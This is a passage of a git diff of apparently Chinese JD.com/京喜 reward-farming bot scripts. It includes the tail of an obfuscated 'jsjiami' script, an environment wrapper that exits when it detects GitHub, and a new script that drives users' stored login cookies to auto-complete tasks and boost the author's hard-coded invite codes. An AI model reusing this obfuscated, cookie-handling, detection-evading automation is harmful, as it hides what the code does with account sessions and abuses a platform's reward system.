x44080f[_0xb3c9('604','4&jl')],_0x44080f[_0xb3c9('605','SI8%')])){_0x2cd191[_0xb3c9('606','oJ7R')](_0x35fcf9,_0x4825c0);}else{$[_0xb3c9('607','Xorc')]=![];return;}}if(_0x44080f[_0xb3c9('608','D[D@')](_0x4825c0[_0x44080f[_0xb3c9('609','A)dp')]],0x0)){if(_0x44080f[_0xb3c9('60a','8^$1')](_0x44080f[_0xb3c9('60b','A&sp')],_0x44080f[_0xb3c9('60b','A&sp')])){$[_0xb3c9('60c','wR@t')]=_0x4825c0[_0x44080f[_0xb3c9('60d','A&sp')]][_0xb3c9('60e','%YG$')];}else{$[_0xb3c9('60f','7hNk')](e,_0x379cf3);}}else{if(_0x44080f[_0xb3c9('610','BA!&')](_0x44080f[_0xb3c9('611','56Y[')],_0x44080f[_0xb3c9('612','ST6I')])){$[_0xb3c9('2b6','p8(G')](e,_0x379cf3);}else{$[_0xb3c9('c7','sgNu')]=$[_0xb3c9('613','oJ7R')];}}}else{if(_0x44080f[_0xb3c9('614','12Q8')](_0x44080f[_0xb3c9('615','QPLX')],_0x44080f[_0xb3c9('616','p8(G')])){if(_0x2cd191[_0xb3c9('617','8Yzp')](safeGet,_0x4825c0)){_0x4825c0=JSON[_0xb3c9('618','O^Ux')](_0x4825c0);if(_0x2cd191[_0xb3c9('619','8^$1')](_0x4825c0[_0xb3c9('61a','FlxD')],0xc8)){$['db']+=_0x4825c0[_0xb3c9('3e4','xgMb')][_0xb3c9('61b','IV4a')];console[_0xb3c9('133','#5oK')](_0xb3c9('61c','#5oK')+_0x4825c0[_0xb3c9('61d','bu#e')][_0xb3c9('2ae','ST6I')]+_0xb3c9('61e','D[D@'));}else{console[_0xb3c9('327','lVDY')](_0xb3c9('61f','56Y[')+_0x4825c0[_0xb3c9('620','A)dp')]);}}}else{console[_0xb3c9('139','8Yzp')](_0xb3c9('621','vGPn'));}}}}catch(_0x270528){$[_0xb3c9('622','SI8%')](_0x270528,_0x379cf3);}finally{_0x44080f[_0xb3c9('623','4&jl')](_0x35fcf9);}}});});}function safeGet(_0x5b2a44){var _0x2f1e88={'QQZpe':function(_0x840dfb,_0x32950e){return _0x840dfb===_0x32950e;},'zTMOf':function(_0x1619ed,_0x5c902b){return _0x1619ed(_0x5c902b);},'ORBty':function(_0xe487cb,_0x98f530){return _0xe487cb!==_0x98f530;},'FeUEl':_0xb3c9('624','kKc['),'EUNcN':_0xb3c9('625','12Q8'),'IbkpP':function(_0xc46693,_0xe3fa43){return _0xc46693==_0xe3fa43;},'cPYtb':_0xb3c9('626','IV4a'),'Thboh':function(_0xc41ba3,_0x252ccd){return _0xc41ba3===_0x252ccd;},'lBAah':_0xb3c9('627','p8(G'),'cfynT':_0xb3c9('628','FlxD'),'AcDWa':_0xb3c9('629','Hi&L')};try{if(_0x2f1e88[_0xb3c9('62a','O^Ux')](_0x2f1e88[_0xb3c9('62b','[XP5')],_0x2f1e88[_0xb3c9('62c','msFj')])){if(_0x2f1e88[_0xb3c9('62d','A&sp')](typeof JSON[_0xb3c9('222','A)dp')](_0x5b2a44),_0x2f1e88[_0xb3c9('62e','7hNk')])){if(_0x2f1e88[_0xb3c9('62f','vGPn')](_0x2f1e88[_0xb3c9('630','#5oK')],_0x2f1e88[_0xb3c9('631','Xorc')])){return!![];}else{_0x5b2a44=JSON[_0xb3c9('484','pLk9')](_0x5b2a44);if(_0x2f1e88[_0xb3c9('632','KqoH')](_0x5b2a44[_0xb3c9('633','msFj')],0xc8)){$['db']+=_0x5b2a44[_0xb3c9('634','msFj')][_0xb3c9('635','Xorc')];console[_0xb3c9('133','#5oK')](_0xb3c9('636','4&jl')+_0x5b2a44[_0xb3c9('637','Tq0]')][_0xb3c9('638','j]ox')]+_0xb3c9('61e','D[D@'));}else{console[_0xb3c9('bb','UFS%')](_0xb3c9('639','vGPn')+_0x5b2a44[_0xb3c9('63a','KqoH')]);}}}}else{if(_0x2f1e88[_0xb3c9('63b','oJ7R')](safeGet,_0x5b2a44)){_0x5b2a44=JSON[_0xb3c9('63c','bu#e')](_0x5b2a44);console[_0xb3c9('11e','p8(G')](_0x5b2a44[_0xb3c9('63d','IV4a')]);}}}catch(_0x28636e){if(_0x2f1e88[_0xb3c9('63e','kKc[')](_0x2f1e88[_0xb3c9('63f','QPLX')],_0x2f1e88[_0xb3c9('640','pLk9')])){console[_0xb3c9('2a3','XZos')](_0x28636e);console[_0xb3c9('13','7hNk')](_0xb3c9('641','XZos'));return![];}else{if(_0x2f1e88[_0xb3c9('642','XZos')](safeGet,_0x5b2a44)){_0x5b2a44=JSON[_0xb3c9('222','A)dp')](_0x5b2a44);console[_0xb3c9('643','vGPn')](_0x5b2a44[_0xb3c9('644','[XP5')]);}}}}function jsonParse(_0x3d0e36){var _0x2b04ad={'XFWfB':function(_0x1ac8c4,_0x183693){return _0x1ac8c4==_0x183693;},'bSCwR':_0xb3c9('645','QPLX'),'CsAPh':function(_0x50f642,_0x11d265){return _0x50f642===_0x11d265;},'ZQDNG':_0xb3c9('646','px$D'),'VMDSM':_0xb3c9('647','BA!&')};if(_0x2b04ad[_0xb3c9('648','12Q8')](typeof _0x3d0e36,_0x2b04ad[_0xb3c9('649','54E@')])){try{if(_0x2b04ad[_0xb3c9('64a','7hNk')](_0x2b04ad[_0xb3c9('64b','KqoH')],_0x2b04ad[_0xb3c9('64c','RRYS')])){return JSON[_0xb3c9('64d','#5oK')](_0x3d0e36);}else{$[_0xb3c9('425','UFS%')](e,resp);}}catch(_0x18b164){console[_0xb3c9('4e','Hi&L')](_0x18b164);$[_0xb3c9('64e','USUq')]($[_0xb3c9('8b','oJ7R')],'',_0x2b04ad[_0xb3c9('64f',']q[h')]);return[];}}}function requireConfig(){var _0x463e22={'HiVVZ':function(_0x12cfa0){return _0x12cfa0();}};return new Promise(_0x3170c7=>{if($[_0xb3c9('650','W%VK')]()&&process[_0xb3c9('651','Us6T')][_0xb3c9('652','IV4a')]){exchangeFlag=process[_0xb3c9('653','0XYQ')][_0xb3c9('654','0XYQ')]||exchangeFlag;}_0x463e22[_0xb3c9('655','xgMb')](_0x3170c7);});};_0xodq='jsjiami.com.v6'; + +// prettier-ignore +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxstory.js b/activity/jd_jxstory.js new file mode 100644 index 0000000..eb7bd8e --- /dev/null +++ b/activity/jd_jxstory.js @@ -0,0 +1,667 @@ +/* +京喜故事 +活动入口 :京喜APP->首页浮动窗口去领钱/京喜工厂-金牌厂长 +每天运行一次即可 + + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜故事 +10 7 * * * jd_jxstory.js, tag=京喜故事, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_jxstory.js,tag=京喜故事 + +===============Surge================= +京喜故事 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jxstory.js + +============小火箭========= +京喜故事 = type=cron,script-path=jd_jxstory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ + + +const $ = new Env('京喜故事'); +const JD_API_HOST = 'https://m.jingxi.com'; + +const notify = $.isNode() ? require('../sendNotify') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = 3; +let cookiesArr = [], cookie = '', message = ''; +const inviteCodes = ['qSDHMwUOz7onHcMyaju4KmdSXWf0dlv7LVnTt1Wzemo=@iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=', 'iuGNoGYvk9YdEImUAz25Wyzm7oeggrm0JSIYgZdHJGI=']; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdJxStory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdJxStory() { + await userInfo() + await helpFriends() + await sign() + await taskList() + for(let i =0;i { + $.get(taskurl('SignIn', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`签到钞票:收取成功,获得 ${data['data']['rewardMoneyToday']}`) + message += `【签到钞票】:收取成功,获得 ${data['data']['rewardMoneyToday']}\n` + } else { + console.log(`签到钞票:收取失败,${data.msg}`) + message += `【签到钞票】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + $.get(newtasksysUrl('GetUserTaskStatusList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: // 京喜工厂投入电力 + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}钞票`) + message += `【每日任务】领奖成功,共计 ${$.ele} 钞票\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 钞票翻倍任务 +async function cardList() { + for (let i = 0; i < 10; ++i) { + await readyCard(); + } +} +function readyCard() { + return new Promise(async resolve => { + $.get(taskurl('ReadyCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + + if(data['ret']===0 && data['data']['flopFinishNumber']{ + return { + "cardId" : vo['cardId'], + "cardPosition" : index+1, + "cardStatus" :0 + } + }) + cardInfo[0]['cardStatus'] = 1 + + await selectCard(cardInfo) + // await $.wait(1000); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 选择卡片 +function selectCard(cardInfo) { + return new Promise(async resolve => { + $.get(taskurl('SelectCard',`cardInfo=${JSON.stringify({"cardInfo":cardInfo})}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret']===0){ + await $.wait(10000); + await finishCard(cardInfo[0]['cardId']) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 完成卡片 +function finishCard(cardId) { + return new Promise(async resolve => { + $.get(taskurl('FinishCard',`cardid=${cardId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret']===0){ + let ratio = data['data']['cardInfo'].filter(vo=>vo['cardId']===cardId)[0]['cardRatio'] + console.log(`翻倍成功,获得${ratio}%,共计获得${data['data']['earnRatio']}%`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 升级 +function upgrade() { + return new Promise(async resolve => { + $.get(taskurl('UpgradeUserLevelDraw', `date=${new Date().Format("yyyyMMdd")}&type=0`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0&&data['data']['active']!=='') { + console.log(`升级成功,获得${JSON.stringify(data['data'])}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 点击 +function increase() { + return new Promise(async resolve => { + $.get(taskurl('IncreaseUserMoney'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`点击厂长成功,获得 ${data['data']['moneyNum']} 钞票`) + }else if(data['ret'] === 2005){ + // 点击上限 + $.click = false + }else{ + console.log(`点击厂长过快,休息25秒`) + await $.wait(25000); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (code) { + if ($.shareId === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + await assistFriend(code); + } + } +} +// 帮助用户 +function assistFriend(shareId) { + return new Promise(async resolve => { + $.get(taskurl('AssistFriend',`shareId=${escape(shareId)}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`助力朋友:${shareId}成功`) + } else { + console.log(`助力朋友[${shareId}]失败:${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + $.get(newtasksysUrl('Award', taskId), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}钞票`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + $.get(newtasksysUrl('DoTask', taskId), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('GetUserInfo', ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.shareId = data['shareId']; + console.log(`分享码: ${data['shareId']}`); + $.currentMoneyNum = data.currentMoneyNum; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function showMsg() { + return new Promise(async resolve => { + let ctrTemp; + if ($.isNode() && process.env.JXSTORY_NOTIFY_CONTROL) { + ctrTemp = `${process.env.JXSTORY_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdJxStory')) { + ctrTemp = $.getdata('jdJxStory') === 'false'; + } else { + ctrTemp = `${jdNotify}` === 'false'; + } + if (ctrTemp) { + $.msg($.name, '', message); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${message}`); + } + } else { + $.log(`\n${message}\n`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jxstory/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdJxStoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": 